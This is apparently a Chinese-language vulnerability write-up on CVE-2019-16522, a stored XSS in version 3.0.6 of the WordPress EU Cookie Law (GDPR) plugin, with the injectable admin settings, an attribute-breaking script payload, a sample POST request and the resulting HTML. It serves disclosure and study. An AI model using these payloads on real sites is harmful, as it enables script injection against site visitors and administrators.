menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 001-WordPress 插件漏洞 chevron_right 013-CVE-2019-16522 WordPress Plugin - EU Cookie Law (GDPR) 储存型xss.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    013-CVE-2019-16522 WordPress Plugin - EU Cookie Law (GDPR) 储存型xss.md
    1.94 KB / 2021-07-17 00:01:32
        # CVE-2019-16522 WordPress Plugin - EU Cookie Law (GDPR) 储存型xss
    
    ### 一、漏洞简介
    
    WordPress的3.0.6版eu-cookie-law插件(又称为EU Cookie法(GDPR))容易受到存储XSS的影响,原因是管理区域中几个配置选项的编码不正确以及显示的Cookie同意消息。这会影响“字体颜色”,“背景颜色”和“禁用Cookie”文本。具有高特权的攻击者可以攻击其他用户。
    
    ### 二、漏洞影响
    
    wordpress <= 3.0.6,可能更高
    
    ### 三、复现过程
    
    
    ```bash
    /wp-admin/options-general.php?page=peadig_eucookie
    ```
    
    管理员可以在配置区域为插件设置多个选项。在插入HTML页面之前,大多数都可以正确转义。但是,可以利用三个设置值来插入任意JavaScript和HTML。那些是:
    
    * 字体颜色( Font Color)
    * 背景颜色 (Background Color)
    * “禁用Cookie”文本 ("Disable Cookie" Text)
    * “ Fontcolor”的值将插入到显示Cookie同意消息的每个页面上。默认情况下,其他两个仅可在管理区域中利用。
    
    以“字体颜色”为例
    
    将字体颜色的值设置为
    
    
    ```bash
    #FFFFFF"><script></script>
    ```
    
    便可以突破HTML属性并插入script包含JavaScript 的标签
    
    post包:
    
    
    ```bash
    POST /wp-admin/options.php HTTP / 1.1 
    [ ... ] 
    
    [ ... ] peadig_eucookie%5 Bfontcolor%5 D = %23FFFFFF%22%3E%3Cscript%3Ealert%281%29%3C / script%3E [...]
    ```
    
    这时候我们看一下返回值。
    
    在管理区域中,生成的HTML页面如下所示
    
    
    ```html
    <input id="fontcolor" type="text" name="peadig_eucookie[fontcolor]" value="#FFFFFF">
    <script></script>
    " class="color-field" data-default-color="#ffffff"/>
    ```
    
    在带有cookie消息的页面上,有效负载将被多次插入。生成的HTML如下所示
    
    
    ```html
    <!-- Eu cookie Law 3.0.6 -->
    <div class="pea_cook_wrapper pea_cook_bottomcenter" style="color:#FFFFFF">
        <script></script>
        ;background:rgb(0,0,0);background: rgba(0,0,0,0.85);">
    ```
    
    links
    file_download